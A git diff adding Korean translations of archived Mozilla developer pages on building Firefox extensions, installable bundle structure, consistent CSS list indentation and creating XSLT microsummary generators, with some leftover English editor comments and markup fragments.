이 줄은 Firefox에게 browser.xul을 로드할 때 browser.xul 안에 sample.xul을 병합하도록 합니다.

+

시험

+

먼저, 우리는 Firefox에 확장기능 정보 알림이 필요합니다. 예전 좋지 않은 Firefox 1.0 때는 이는 확장기능을 XPI로 패키징하고 그것을 사용자 인터페이스를 거쳐 설치함을 뜻합니다. 그것은 실로 고통이었습니다. 이제는, 훨씬 더 간단합니다.

+
    +
  1. Profile 폴더를 여세요.
  2. +
  3. extensions 폴더를 여세요(없으면 만드세요).
  4. +
  5. 새 텍스트 파일을 만들어, 그 안에 extension 폴더(예컨대, C:\extensions\myExtension\이나 ~/extensions/myExtension)를 써넣으세요. 확장기능 id를 이름(예컨대, sample@foo.net)으로 갖는 파일로 저장하세요.
  6. +
+

이제 확장기능을 시험할 준비가 됐습니다!

+

Firefox를 시작하세요. Firefox가 확장기능 디렉토리 텍스트 링크를 감지하고 확장기능을 설치합니다. 브라우저 창이 보이면 여러분은 상태 표시줄 패널의 오른쪽에 텍스트 "Hello, World!"를 봅니다.

+

이제 돌아가서 .xul 파일에 변화를 주고, Firefox를 닫고 재시작하면 그 변화가 보입니다. These don't actually match the described extension and confuse people. -Nickolay CENTER> Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG </CENTER

+

Package

+

이제 여러분의 확장기능이 동작하므로, 배치(deployment)와 설치를 위해 그것을 패키지할 수 있습니다.

+

여러분의 확장기능 폴더 내용들을 Zip 파일로 압축하고 (확장기능 폴더 자체가 아닙니다.) zip 파일 확장자를 .xpi 로 바꾸세요. Windows XP에서는, 여러분의 확장기능 폴더 안 모든 파일과 하위폴더를 고르고 오른쪽 버튼을 누른 뒤 "보내기 -> Compressed (Zipped) Folder"를 골라 이를 쉽게 할 수 있습니다. .zip 파일은 여러분을 위해 만듭니다. 바로 이름을 바꾸면 끝납니다!

+

Mac OS X에서는, 확장기능 폴더의 내용들 위에서 오른쪽 버튼을 누른 뒤 zip 파일로 만들기 위해 "Create Archive of..."를 고를 수 있습니다. 그러나, Mac OS X가 파일 metadata를 추적(track)할 목적으로 숨김 파일을 폴더에 추가하기 때문에, 터미널을 쓰고 숨김 파일(의 이름은 마침표로 시작합니다)을 지워야 합니다. 그리고 나서 zip 파일을 만들기 위해 명령줄에서 zip 명령을 쓰세요.

+

Linux에서도, 역시 명령줄 Zip 도구를 씁니다.

+

혹시 여러분이 'Extension Builder' 확장기능을 설치했으면 여러분을 위해 .xpi 파일을 compile할 수 있습니다(도구 -> Extension Developer -> Extension Builder). 단지 여러분의 확장기능(install.rdf 등)이 있는 디렉토리를 탐색하고 Build Extension button을 누르세요. 이 확장기능에 개발을 더 쉽게 하는 많은 도구가 있습니다.

+

이제 여러분의 서버에 .xpi 파일을 올려주고(upload), application/x-xpinstall로 다뤄지는지 확인하세요. 여러분은 그 파일에 링크할 수 있고 사람들이 내려받고(download) Firefox에 설치하게 할 수 있습니다. .xpi 파일을 시험할 목적으로 우리는 단지 Tools -> Extensions이나 Add-Ons -> Extensions in FireFox 2을 거쳐 확장기능 창 안에 그것을 끌어다 놓을 수 있습니다.

+

addons.mozilla.org 이용하기

+

Mozilla Update는 공짜로 확장기능을 host할 수 있는 배포 사이트입니다. 여러분의 확장기능은 비록 매우 유명해지더라도 내려받기를 보장하는 Mozilla의 mirror 네트워크에 host됩니다. Mozilla 사이트는 또한 사용자에게 더 쉬운 설치를 제공하고 여러분이 새 버전을 올려주면 기존 버전 사용자들이 자동으로 이용할 수 있게 합니다. 게다가 Mozilla Update는 사용자들이 여러분의 확장기능에 평(comment)을 하고 feedback을 제공하게 합니다. 여러분이 확장기능을 배포하는 데 Mozilla Update 사용을 강력히 권고합니다!

+

http://addons.mozilla.org/developers/ 에 방문하여 계정을 만든 뒤 확장기능 배포를 시작하세요!

+

주의: 여러분의 확장기능은 좋은 설명과 확장기능 실행 스크린샷(screenshot)이 있으면 더 빨리 퍼지고 더 많이 내려받습니다.

+

Windows 레지스트리에 확장기능 등록하기

+

Windows에서, 확장기능 정보는 레지스트리에 추가될 수 있고 확장기능은 응용프로그램이 시작하는 다음 번에는 자동으로 pick up됩니다. 이는 응용프로그램 설치프로그램이 쉽게 integration hook을 확장기능에 추가하게 합니다. 더 많은 정보는 Windows 레지스트리를 써서 확장기능 추가하기를 보세요.

+

XUL Overlay 더 많은 정보

+

병합점에 UI 위젯 추가 외에 또, Overlay 안에 XUL 조각을 다음에 쓸 수 있습니다.

+ +
<statusbarpanel position="1" .../>
+
+<statusbarpanel insertbefore="other-id" .../>
+
+<statusbarpanel insertafter="other-id" .../>
+
+

새로운 사용자 인터페이스 컴포넌트 만들기

+

여러분은 UI 위젯을 조작하는 DOM 메소드를 써서 .js 파일에서 사용자 동작을 구현하여 기능(functionality)을 제공하는 분할한 .xul 파일로 여러분의 창과 대화상자를 만들 수 있습니다. 이미지 붙임, 색 설정 등을 하기 위해 .css 파일에서 스타일 규칙을 쓸 수 있습니다.

+

XUL 개발자를 위한 더 많은 자원(resource)은 XUL 문서를 보세요.

+

Defaults File

+

Defaults file은 여러분의 확장기능 폴더 계층의 루트 아래 defaults/에 놓일 사용자 profile을 뿌리는(seed) 데 씁니다. defaults/preferences/에 저장될 Default preferences .js file - .js 파일을 여기에 놓으면 시작할 때 Firefox preferences system에 의해 자동으로 로드되어 Preferences API를 써서 파일에 접근할 수 있습니다.

+

XPCOM 컴포넌트

+

Firefox는 확장기능에 XPCOM 컴포넌트를 지원합니다. 여러분은 JavaScript나 C++(Gecko SDK를 써서)로 쉽게 자신만의 컴포넌트를 만들 수 있습니다.

+

components/ 디렉토리에 모든 .js나 .dll 파일을 두세요 - 여러분의 확장기능이 설치된 뒤 Firefox가 도는 첫 번에 자동으로 등록됩니다.

+

더 많은 정보는 JavaScript로 XPCOM 컴포넌트 빌드하는 법과 책 XPCOM 컴포넌트 만들기를 보세요.

+

응용프로그램 명령줄

+

사용자 정의(custom) XPCOM 컴포넌트의 가능한 쓰임 가운데 하나는 Firefox 나 Thunderbird 에 명령줄 처리기 추가입니다. 여러분은 확장기능을 응용프로그램으로 실행하는 데 이 기술을 쓸 수 있습니다.

+
 firefox.exe -myapp
+
+

I should move the useful parts of this to the Command Line page. -Nickolay This is done by adding a component containing the function... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } 이 함수는 firefox가 시작할 때마다 firefox가 실행합니다. Firefox registers the myAppHandlerModule's by calling its 'registerSelf()'. Then it obtains the myAppHandlerModule's handler factory via 'getClassObject()'. The handler factory is then used to create the handle using its 'createInstance(). Finally, the handle's 'handle(cmdline)' processes the command line cmdline's handleFlagWithParam() and handleFlag(). 상세한 내용은 Chrome: Command Lineforum discussion을 보세요.

+

지역화

+

하나 이상의 언어를 지원하려면, entitiesstring bundles을 써서 content에서 문자열을 분리해야 합니다. 돌아와서 나중에 하기보다는 확장기능을 개발하면서 하면 훨씬 더 쉽습니다!

+

지역화 정보는 그 확장기능을 위한 locale 디렉토리에 저장됩니다. 예를 들어, sample 확장기능에 locale을 추가하려면, chrome 디렉토리("content" 디렉토리가 위치한)에 "locale"로 이름 붙인 디렉토리를 만들고 chrome.manifest 파일에 다음 줄을 추가하세요:

+
locale sample sampleLocale chrome/locale/
+
+

XUL로 localizable 속성값을 만들려면, .ent(나 .dtd) 파일에 그 값을 써넣으세요, 속성값은 locale 디렉토리에 놓이고 이와 같이 보입니다.

+
<!ENTITY  button.label     "Click Me!">
+<!ENTITY  button.accesskey "C">
+
+

그리고 나서 XUL 문서 상단(하지만 "<?xml version"1.0"?>" 아래)에 이렇게 포함(include)하세요.

+
<!DOCTYPE window SYSTEM "chrome://packagename/locale/filename.ent">
+
+

window는 XUL 문서 루트 요소의 localName값이고 SYSTEM 프로퍼티 값은 엔티티(entity) 파일의 chrome URI입니다. sample 확장기능에서, 루트 요소는 overlay입니다.

+

그 엔티티를 쓰려면, XUL을 이렇게 보이도록 수정하세요.

+
<button label="&button.label;" accesskey="&button.accesskey;"/>
+
+

Chrome Registry가 선택한 locale과 대응하는 지역화 묶음에서 로드된 엔티티 파일인지 확인합니다.

+

스크립트에서 쓴 문자열은, 이 형식으로 각 줄에 문자열이 있는 .properties 파일, 텍스트 파일을 만드세요.

+
key=value
+
+

그리고 나서 스크립트에 그 값을 로드하기 위해 nsIStringBundleService/nsIStringBundle이나 <stringbundle> tag을 쓰세요.

+

브라우저 이해하기

+

브라우저 창이나 여러분이 확장하길 원하는 어떤 다른 XUL 창을 검사하려면 DOM Inspector (Standard Firefox 설치 부분이 아님, browser의 Tools(도구) 메뉴에 "DOM Inspector" 항목이 없으면 사용자 정의 설치 경로로 재설치하고 Developer Tools를 골라야 합니다)를 쓰세요.

+

노드를 선택하기 위해 XUL 창의 노드를 눈에 보이게 클릭하려면 DOM Inspector toolbar 좌상단에 있는 point-and-click 노드 finder button을 쓰세요. 이렇게 하면 DOM inspector의 DOM 계층 tree view는 여러분이 클릭하는 노드로 건너뜁니다.

+

overlay에서 여러분의 요소를 삽입하는 데 쓸 수 있는 id 붙은 병합점을 발견하려면 DOM Inspector의 오른쪽 패널을 쓰세요. 병합할 수 있는 id 붙은 요소를 발견할 수 없으면, overlay에 스크립트 붙임과 load 이벤트가 주 XUL 창 위에 발생할 때 요소 삽입이 필요할 지도 모릅니다.

+

확장기능 디버그하기

+

디버깅을 위한 분석 도구

+ +

printf 디버깅

+ +

고급 디버깅

+ +

빠른 시작

+

여러분은 작동하는 단순 확장기능을 만드는 데 Extension Wizard 온라인 도구를 쓸 수 있습니다.

+

Extension Wizard로 만들 수 있는 것과 비슷한 Hello World 확장기능MozillaZine Knowledge Base의 다른 입문서에서 한 줄 한 줄 설명합니다.

+

부가 정보

+ diff --git a/files/ko/bundles/index.html b/files/ko/bundles/index.html new file mode 100644 index 0000000000..3e3f38a936 --- /dev/null +++ b/files/ko/bundles/index.html @@ -0,0 +1,67 @@ +--- +title: Bundles +slug: Bundles +tags: + - Toolkit API +translation_of: Archive/Mozilla/Bundles +--- +

title-override Structure of an Installable Bundle /title-override 이 부분은 에러가 나서 리마킹한 부분임. 나중에 새로 고칠 필요가 있음. +

XULRunner 어플리케이션, 확장 기능(extension), 테마(themes) 등은 공통의 디렉토리 구조를 공유합니다. 경우에 따라서는 같은 번들이 독립적인 XULRunner 어플리케이션으로 쓰임과 동시에 설치 가능한 확장 기능으로 사용될 수도 있습니다. 번들의 기본 구조에는 다음과 같은 파일들이 포함될 수 있습니다

+
/install.rdf                        Extension/Theme Install Manifest
+/application.ini                    Application Launch Manifest
+/components/*                       Component and XPT Files      (>=1.7)
+/defaults/preferences/*.js          Default Preferences          (>=1.7)
+/plugins/*                          NPAPI Plugins                (>=1.8)
+/chrome.manifest                    Chrome Registration Manifest (>=1.8)
+/chrome/icons/default/*             Window Icons                 (>=1.8)
+
+

물론 확장 기능을 구현할 때 이러한 모든 디렉토리가 필요한 것은 아닙니다(그렇게 되지도 않을 것입니다). 테마의 경우에는 보안의 이유로 제한을 받으며, 보통 테마와 JAR 파일을 등록하는 chrome.manifest 만을 제공합니다.


+

+

플랫폼 종속적(platform specific)인 하위 디렉토리들

+

경우에 따라서는 한 개의 확장 기능이나 어플리케이션이 여러 플랫폼을 지원하기 위한 바이너리 구성 요소 또는 플러그인을 포함하여야 할 때가 있습니다. 또는 테마 저작자가 플랫폼 종속적인 JAR 파일들을 플랫폼별로 포함시킬 수도 있습니다. 첫번째 경우에는 extension/app loader 가 플랫폼 종속적인 파일들( Toolkit/Gecko 1.8, Firefox/Thunderbird 1.5 로 시작하는 )만을 위한 하위 디렉토리를 가지게 됩니다. 플랫폼 문자열은 툴킷 빌드 과정에서 정의되는데, 운영체제, 프로세서 아키텍처, 컴파일러 등의 이름들의 조합으로 만들어지며, 그 형식은 다음과 같습니다.

+
{OS_TARGET}_{TARGET_XPCOM_ABI}
+
+

주 확장 디렉토리에서 로드되는 모든 파일들은 (만약 존재한다면) 다음 하위 디렉토리로부터 로드됩니다.

+
/platform/{platform string}
+
+

예를 들어, 리눅스, 매킨토시, 윈도우에서 돌아가는 플러그인을 만들고자 하는 경우, 제작사는 다음과 같은 파일들을 제공하게 됩니다.

+
/platform/Linux_x86-gcc3/plugins/libMyPlugin.so
+/platform/WINNT_x86-msvc/plugins/MyPlugin.dll
+/platform/Darwin_ppc-gcc3/plugins/libMyPlugin.dylib
+
+

XPT 파일들은 플랫폼 종속적이 아니기 때문에 모든 관련된 XPT 파일들은 일단 컴포넌트 디렉토리에 저장됩니다.

+
/components/MyPlugin.xpt
+
+

만약 확장 기능이 플랫폼 종속적이지만 바이너리가 아닌 경우에는 ( 스크립트에서 윈도우 레지스트리를 참조하는 경우와 같이 ), 다음과 같이 운영 체제 이름만을 플랫폼 하위 디렉토리로 사용할 수 있습니다.

+
/platform/WINNT/components/registerDoctype.js
+
+

플랫폼 종속적인 JAR 파일들이 사용되는 경우, 각 플랫폼 디렉토리에는 각각의 chrome.manifest파일이 저장되어 있어야 합니다.

+
chrome.manifest
+chrome/mytheme-base.jar
+platform/Darwin/chrome.manifest
+platform/Darwin/chrome/mytheme-mac.jar
+platform/WINNT/chrome.manifest
+platform/WINNT/chrome/mytheme-win.jar
+
+

app/extension loader 는 베이스 디렉토리를 먼저 처리한 후, 적용 가능한 플랫폼 디렉토리를 처리합니다. ( 먼저 /{OS_TARGET}/을 처리하고, /{OS_TARGET}_{TARGET_XPCOM_ABI}/를 처리합니다. ) 만약 여러 개의 디렉토리들에 기본 설정들이 정의되어 있는 경우에는 나중에 로드되는 항목이 먼저 로딩된 항목을 덮어쓰게 됩니다.

+

어플리케이션 종속적인(Application-specific) 확장 기능 파일들

+

위에 기술된 확장 기능 파일들 외에, 어플리케이션의 경우 확장 기능으로부터 추가적인 파일을 읽을 수도 있습니다. 예를 들어 Firefox 1.5 나 상위 버전의 경우,

+
/searchplugins/*.src
+
+

로부터 Sherlock 검색 플러그인을 읽을 수도 있습니다. Firefox 2 와 그 상위 버전들은

+
/searchplugins/*.xml
+
+

디렉토리로부터 MozSearch and OpenSearch plugins를,

+
/dictionaries/*.{aff|dic}
+
+

디렉토리로부터 Myspell 사전을 읽을 수도 있습니다.

+

Toolkit API 에 대한 공식 문서

+

+

diff --git a/files/ko/consistent_list_indentation/index.html b/files/ko/consistent_list_indentation/index.html new file mode 100644 index 0000000000..675b5127f3 --- /dev/null +++ b/files/ko/consistent_list_indentation/index.html @@ -0,0 +1,106 @@ +--- +title: Consistent List Indentation +slug: Consistent_List_Indentation +tags: + - CSS + - Guide + - NeedsUpdate +translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +--- +
{{CSSRef}}
+ +

가장 흔하게 리스트에 적용되는 스타일 변경은 들여쓰기(indentation)거리의 변경입니다 -- 즉, 리스트 아이텡을 오른쪽으로 얼마나 멀리 들여쓸것인가 라는것입니다. 이 작업은 가끔 한 브라우저에서 나오던 효과가 다른 브라우저에서는 같은 효과를 내지 못해서 애를 먹게하곤 합니다. 예를들면, 리스트가 왼쪽 마진을 갖지 못하도록 선언할 경우, 익스플로러에선 이동이되지만, Gecko기반의 브라우저에선 고집스럽게도 꼼짝않고 제 자리를 지키며 있는 그런 경우 입니다.

+ +

왜 이런 일이 일어나는 가를 이해하고 더 나아가 이러한 문제점을 피해나갈 방법을 이해하기 위해서, 리스트 형성에대한 세부과정을 검토하는 것이 필요합니다.

+ +

리스트 만들기

+ +

먼저, 한개의 단순한 리스트 아이템을 생각해봅시다. 이 리스트 아이템엔 아무런 마커(불렛이라고도 알려져 있습니다)도 없고, 아직 그자체로 어떤 리스트의 부분이 아닙니다. 그림 1에서 보이는 바와같이, 단순하고 아무 치장도 없는 채로 그냥 혼자 허공에 떠 있는 상태라고 할 수 있습니다.

+ +

Figure 1

+ +

빨간 점선으로된 경계선은 리스트 아이템의 내용물-지역의 바깥 경계를 나타내고 있습니다. 이 시점에서 리스트 아이템은 패딩이나 보더(경계)를 가지고 있지 않다는 점을 상기하십시오. 만약 2개의 리스트 아이템을 더 추가 한다면, 그림 2에 보여진 것과같은 결과를 얻게 될 것입니다.

+ +

Figure 2

+ +

이제 이 아이템들을 부모 엘리먼트로 랩핑(포장)합니다; 이 경우, 우리는 아이템들을 순서없는 리스트로 (즉, <ul>) 랩핑합니다. CSS 상자(박스) 모델에 의하면, 리스트 아이템들의 상자들은 부모 엘리먼트의 내용물-지역안에 디스플레이 되어야만 합니다. 이 부모 엘리먼트에 패딩이나 마진이 아직 없으므로 우리는 그림 3에 보여진 것과 같은 상황을 맞이하게 됩니다.

+ +

Figure 3

+ +

여기서, 푸른 점선 경계선은 <ul>엘리먼트의 내용물 지역의 경계를 보여줍니다. <ul>엘리먼트에 패딩이 없으므로 엘리먼트의 내용물은 세 리스트 아이템들을 촘촘하게 랩핑하게 됩니다.

+ +

이제, 리스트 아이템 마커를 추가합니다. 이 리스트는 순서가 없는 리스트이므로, 그림 4에 보여긴 것 같은 전통적인 채워진 원 불렛을 추가합니다.

+ +

Figure 4

+ +

보여지는 것으론, 마커들은 <ul>의 내용물-지역의바깥 에 있으나, 여기서 이점은 그다지 중요하지 않습니다. 중요한 점은 마커들이 <li>엘리먼트들의 "principal 상자"의 밖에 놓여진다는 점입니다. 이 마커들은 <lt>의 내용물-지역의 밖에 매달려 있으나 여전히 <li>에 부착되어있는 일종의 리스트 아이템들의 꼬리표같다고 할 수 있습니다.

+ +


+ 바로 이런 이유로, 윈도우의 익스플로러을 제외한 모든 브라우저에서, 마커들이 <li>엘리먼트에 지정된 보더밖에 놓이며, list-sytle-position값으로 outside를 취하게 되는 것입니다. 만일 값이 inside로 바뀌게 되면, 마커들은, 비록 <li>의 바로 시작부분에 놓여진 inline 상자임에도 불구하고, <li> 안쪽으로 옯겨지게 됩니다.

+ +

두번 들여쓰기

+ +

그럼 이 모든게 문서에서는 어떻게 나타날까요? 현재, 우리는 아래의 스타일들에 비견되는 상황에 있다고 할 수 있습니다.

+ +
ul, li {margin-left: 0; padding-left: 0;}
+ +

만일 이 리스트를 있는 그대로 문서에 삽입할 경우, 가시적 들여쓰기 효과는 나타나지 않고, 마커들은 브라우저 윈도우의 왼쪽끝으로 잘려나갈 상황에 처하게 될것입니다.

+ +

이를 피하고 들여쓰기효과를 얻을 목적으로 브라우저 개발자들에게 사용가능한 옵션은 다음의 세가지밖에 없습니다.

+ +
    +
  1. <li> 엘리먼트에 왼쪽 마진을 준다.
  2. +
  3. <ul> 엘리먼트에 왼쪽 마진을 준다.
  4. +
  5. <ul> 엘리먼트에 왼쪽 패딩을 준다.
  6. +
+ +

결과론적으로, 누구도 첫번째 옵션을 사용하지는 않는것 같습니다. 두번째 옵션은 윈도우 익스플로러, 매킨토쉬, 그리고 오페라에서 적용되었습니다. 세번째 옵션은 Gecko 와 범주상 이를 임베드해서 사용하는 모든 브라우저들에 적용되었다고 할 수 있습니다.

+ +

이 두 접근법에 대해서 잠깐 살펴봅시다. 익스플로러와 오페라의 경우, 리스트들은 <ul>에 40 픽셀의 왼쪽 마진을 줌으로써 들여쓰여지게 됩니다. 만일 <ul> 엘리먼트에 배경색을 적용하고 리스트 아이템과 <ul> 보더들을 그냥 놔둘 경우, 그림 5에서 보이는 것과 같은 결과를 얻게 됩니다.

+ +

Figure 5

+ +

반면, Gecko는 <ul> 엘리먼트에 대해서 40픽셀의 왼쪽패딩 을 줍니다. 따라서 그림 5를 만들어내는데 사용된 것과 똑 같은 스타일을 적용하게 된다고 가정하면, Gecko기반 브라우저로 예제를 로딩했을때 그림 6과 같은 그림을 보게 됩니다.

+ +

Figure 6

+ +

보이는 바와 같이, 마커들은, 어디에 있게 되건간에, <li> 엘리먼트에 붙여진 채로 남아 있습니다. 차이점은 전적으로 <ul>가 어떤식으로 스타일을 갖추게 되는가에 달려있습니다. 이 차이점은 <ul> 엘리먼트에 배경색이나 보더를 지정하려고 할 경우에만 나타나게 됩니다.

+ +

일관성 찾기

+ +

모든것을 정리해보면 이런 결론에 도달하게 됩니다. 즉, Gecko, 익스플로러, 그리고 오페라 간에 리스트을 일관성있게 렌더링하고 싶으면, <ul> 엘리먼트의 왼쪽 마진 그리고 왼쪽 패딩둘다 지정해야 한다는 것입니다. 이런 목적으로 <li> 을 아예 무시해 버릴 수도 있습니다. 넷스케이프 6.x 에서 디폴트 디스플레이로 돌아가고 싶다면:

+ +
ul {margin-left: 0; padding-left: 40px;}
+ +

만약, 익스플로러/오페라 모델을 따르길 원한다면:

+ +
ul {margin-left: 40px; padding-left: 0;}
+ +

라고 쓰면 됩니다.

+ +

물론, 자기 자신이 선호하는 값을 써 넣을 수도 있습니다. 원한다면 둘다 1.25em로 정해 줄 수도 있습니다 -- 픽셀에 기반한 들여쓰기에만 묶여있을 이유는 없습니다. 만일 리스트들이 들여쓰기를 하지 않도록 리셋하고 싶으면, 패딩과 마진 값을 0으로 정해 주어야만 합니다.

+ +
ul {margin-left: 0; padding-left: 0;}
+ +

하지만, 그렇게 하면, 불렛들이 리스트와 부모 엘리먼트의 바깥쪽에 매달려 있게 된다는 점을 기억하세요. 만일 body가 부모일 경우, 불렛이 브라우저 윈도우 밖으로 완전히 나가있게 되서, 보이지 않게 될 가능성이 아주 높습니다.

+ +

결론

+ +

결국, 여기에 언급된 브라우져들이 리스트를 레이아웃하는 방식에있어서 올바르거나 그르거나 하지 않다는 것을 알 수 있습니다. 각 브라우저는 다른 디폴트 스타일을 사용하고 있으며, 거기서 문제점들이 기어들어 오게 되는 것입니다. 리스트의 왼쪽 패딩과 왼쪽 마진 둘다를 확실하게 스타일 지정 함으로써 리스트 들여쓰기에 있어서 브라우저간 일관성을 보다 획기적으로 유지할 수 있게 되는 것입니다.

+ +

권장 사항

+ + + +
+

Original Document Information

+ + +
diff --git a/files/ko/creating_a_microsummary/index.html b/files/ko/creating_a_microsummary/index.html new file mode 100644 index 0000000000..4c2b8c9734 --- /dev/null +++ b/files/ko/creating_a_microsummary/index.html @@ -0,0 +1,169 @@ +--- +title: Creating a Microsummary +slug: Creating_a_Microsummary +translation_of: Archive/Mozilla/Creating_a_microsummary +--- +

Microsummary Generator는 웹 페이지 내용으로부터 Microsummary를 생성하기 위한 명령어를 포함하고 있니다.웹 페이지는 Generators를 <head> 요소의 <link rel="microsummary">요소에 의해 참조할 수 있습니다. Generators는 이것이 적용되는 웹 페이지 목록을 가지고 있는 경우, 사용자에 의해 개별적으로 다운로드하거나 설치할 수 있습니다.

+

이 튜토리얼에서는,Spread Firefox home page용으로 Firefox 의 현재 다운로드수를 Fx downloads와 함께 표시하는 Microsummary Generators를 만들어 보겠습니다. 예제 174475447 Fx downloads

+

웹 페이지에서 Microsummary로 변환하려면 XSLT 변환 시트를 작성해 Generators를 웹 페에지에 적용하기 위한 방법을 통해 Generators를 다운로드 및 설치 할 수 있도록 합니다.

+

이 입문서에서는, 단계 마다 변환 시트나 그 외의 코드에서 추가된 새로운 항목은 알기 쉽게 굵은 글씨로 표시합니다.

+

시작하기

+

Generators는 http://www.mozilla.org/microsummaries/0.1을 네임 스페이스로 하여 기본 요소가 <generator>인 XML 문서로 표현됩니다. Generators를 작성하려면 우선 신규로 텍스트 파일을 만들어 XML 선언과 <generator> 태그를 추가합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1">
+</generator>
+
+

명명하기

+

Generators가 생성되었으면 Microsummary에 대한 이름으로서 name 속성을 가질 필요가 있습니다.이름은 이 Microsummary에서 어떤 정보를 제공하는지 사용자에게 명확하게 나타내 주는 것으로 정합니다.만드려는 Generators가 Firefox의 다운로드 수를 표시하는 Microsummary이므로 "Firefox Download Count"라는 이름을 붙이기로 하겠습니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+</generator>
+
+

XSLT Sheet 추가

+

Generators는 웹 페이지 내용을 Microsummary로 변환할 때 XSLT 변환 시트를 포함해야 합니다. XSLT는 같은 정보를 가진 문서를 다른 형식으로 표현하기 위한 강력한 언어입니다.

+

Generators에 <template> 둘러싸는 XSLT 변환 시트를 추가합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+    </transform>
+  </template>
+</generator>
+
+

Microsummary Generators는 내용을 출력하는 임의의 XSLT를 포함하지만 Firefox는 현재 XSLT의 내용 출력만 제공함을 유의하시기 바랍니다.

+

출력 형식 지정

+

XSLT 변환 시트는 텍스트 형식의 Microsummary를 생성하므로 XSLT <output> 요소로 이것을 지정합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+    </transform>
+  </template>
+</generator>
+
+

간단한 XSLT <template> 사용

+

XSLT 프로세서는 변환 시트의 XSLT <template> 요소를 문서의 노드 집합과 비교하는 것으로 문서를 변환합니다.<template>match 속성이 있는 노드와 맞으면 프로세서는 요소의 컨텐츠로 정의된 변환을 실행합니다.

+

문서의 노드 트리를 탐색해 문서의 내용에 근거해 재귀적으로 출력을 생성할 수 있으므로 이 메카니즘은 매우 강력합니다.그러나, Spread Firefox의 Microsummary를 생성하는 목적에 있어서는 문서의 루트 요소에 매치하는 단일한 <template> 요소만이 필요합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+      <template match="/">
+      </template>
+    </transform>
+  </template>
+</generator>
+
+

다운로드수 가져오기

+

XSLT 변환 시트의 출력에 다운로드수를 포함하려면 템플릿에 XSLT의 <value-of> 요소를 추가해야 합니다. select 속성에는 다운로드수를 포함한 노드를 지시하는 XPath를 기입합니다.

+

XPath는 HTML/XML 문서의 노드를 특정하기 위한 언어입니다.이것에는 노드와 내용을 조작하기 위한 기본적인 기능이 포함되어 있습니다. 특정 노드를 표현하는 XPath를을 얻는 가장 빠른 사용 방법은 [https://addons.mozilla.org/firefox/1095/ 확장 기능 XPath Checker]을 사용하는 것입니다.

+

확장 기능을 설치 하기 위해서는 Firefox 다시 시작합니다. Spread Firefox 홈 페이지에 가서 Firefox의 다운로드수를 찾아내(오른쪽 맨 밑의 큰 수치) 숫자 위에서 오른쪽을 클릭해 context menu로부터 View XPath을 선택합니다..

+

XPath Checker는 새 창을 엽니다. 창에는 XPath필드가 포함되어 거기에는 다운로드수를 나타내는 노드를 가리키는 XPath 기술: id('download-count')이라고 표현됩니다.

+

XSLT의 <template>요소에 <value-of>요소를 추가해,select 속성에 XPath 내용을 기입합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+      <template match="/">
+        <value-of select="id('download-count')"/>
+      </template>
+    </transform>
+  </template>
+</generator>
+
+

내용 추가

+

Microsummary에 Fx downloads를 추가하려면 추가하고 싶은 컨텐츠를 가진 XSLT의 <text> 요소를 XSLT의 <template> 요소에 추가할 필요가 있습니다.

+

Add a <text> element to the XSLT template with the content Fx downloads:

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+      <template match="/">
+        <value-of select="id('download-count')"/>
+        <text> Fx downloads</text>
+      </template>
+    </transform>
+  </template>
+</generator>
+
+

여러개의 공백을 포함할 수 있는 HTML과 달리 XSLT 태그간의 공백은 XSLT 출력에는 포함되지 않기 때문에, 다운로드수와 분리하기 위한 공백을 추가하는 것에 주의해 주세요.

+

이로서 Spread Firefox 홈 페이지를 Microsummary를 변환한 XSLT 변환 시트의 작성은 끝났습니다.

+

Generators 적용 웹 페이지 지정

+

여기까지 변환 시트의 작성을 마쳤으므로 그 다음 이것을 적용하는 웹 페이지를 지정할 필요가 있습니다.만약 우리가 Spread Firefox의 웹 관리자라면, <head> 요소에 <link rel="microsummary"> 태그를 추가하는 것으로써 웹페이지 자신으로부터 Generator 작성이 끝납니다.

+
<head>
+  ...
+  <link rel="microsummary" href="path/to/our/generator.xml">
+</head>
+
+


+ 비록 사이트 관리자가 아니지만 Generator 안에 어느 페이지에 적용하는 지정하여 다운로드나 설치하도록 할 수 있습니다. 이를 위해서는 <generator> 요소에서 <pages> 요소를 사용합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1"
+           name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+      <template match="/">
+        <value-of select="id('download-count')"/>
+        <text> Fx downloads</text>
+      </template>
+    </transform>
+  </template>
+  <pages>
+  </pages>
+</generator>
+
+

<pages>요소는 Generator를 적용하거나 혹은 적용하지 않은 페이지를 지정하는 <include> 혹은 <exclude>을 표시할 수 있습니다.

+


+ Generators를 웹 페이지에 적용하려면 <include> 요소를 추가합니다. 내용은 웹 페이지와 연결 시키는 정규 표현입니다. Generators를 페이지에 적용시키지 않으려면<exclude> 요소를 추가합니다.

+

